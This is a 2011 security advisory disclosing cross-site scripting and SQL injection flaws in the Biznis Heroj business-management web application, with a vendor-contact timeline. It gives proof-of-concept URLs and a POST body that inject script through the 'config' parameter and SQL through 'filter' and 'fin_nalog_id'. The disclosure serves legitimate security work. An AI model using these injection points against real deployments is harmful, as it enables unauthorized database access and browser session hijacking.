Infoproject Biznis Heroj Cross Site Scripting / SQL Injection

`  
Infoproject Biznis Heroj (XSS/SQLi) Multiple Remote Vulnerabilities  
  
  
Vendor: Infoproject DOO  
Product web page: http://www.biznisheroj.mk  
Affected version: Plus, Pro and Extra  
  
Summary: Biznis Heroj or Business Hero (Áèçíèñ Õåðî¼) is the first  
software on the Macedonian market that will help you manage your  
business processes in your company, such as accounting, production,  
acquisition, archiving, inventory, and the Cloud. Using the Cloud  
technology, Biznis Heroj allows you to access the system from any  
computer at any time through any internet browser.  
  
Desc: Input passed via the parameters 'filter' in 'widget.dokumenti_lista.php'  
and 'fin_nalog_id' in 'nalozi_naslov.php' script are not properly sanitised  
before being returned to the user or used in SQL queries. This can be exploited  
to manipulate SQL queries by injecting arbitrary SQL code. The param 'config'  
in 'nalozi_naslov.php' and 'widget.dokumenti_lista.php' is vulnerable to a XSS  
issue where the attacker can execute arbitrary HTML and script code in a user's  
browser session in context of an affected site.  
  
Tested on: Apache, PHP  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
liquidworm gmail com  
  
  
Vendor status:  
  
[14.12.2011] Vulnerability discovered.  
[15.12.2011] Contact with the vendor.  
[20.12.2011] No response from the vendor.  
[21.12.2011] Public security advisory released.  
  
  
Advisory ID: ZSL-2011-5064  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5064.php  
  
  
14.12.2011  
  
---  
  
  
XSS:  
  
https://[TARGET]/prg_finansovo/nalozi_naslov.php?fin_nalog_id=140&config=alert(1);  
https://[TARGET]/widgets/widget.dokumenti_lista.php?config=alert(1);&bl=porackakupuvac&framenum=1  
  
  
SQLi:  
  
- POST https://[TARGET]/widgets/widget.dokumenti_lista.php  
  
action=dok_naslov_lista_sindzir&config=porackakupuvac&grid_strana=celen&  
bl=porackakupuvac&magacin_id=1&magacin_config=1&magacin_celen_id=1&magacin_celen_config=1&  
magacin_izvoren_id=1&magacin_izvoren_config=1&dokument_tip_id=PORACKAKUPUVACML&  
dokument_tip_config=PORACKAKUPUVACML&dokument_tip_celen_id=PORACKAKUPUVACML&  
dokument_tip_celen_config=PORACKAKUPUVACML&dokument_tip_izvoren_id=PORACKAKUPUVACML&  
dokument_tip_izvoren_config=PORACKAKUPUVACML&dokument_tip_sleden_id=NALOGISPORAKA&  
order=dok_naslov.datum_dokument desc, dok_naslov.sifra desc &  
filter=dok_naslov.datum_dokument between '2011-11-15' and '2011-12-15'&offset=&  
limit=50&widget=1  
  
  
- GET https://[TARGET]/prg_finansovo/nalozi_naslov.php?fin_nalog_id=140[SQLi]&config=default  
`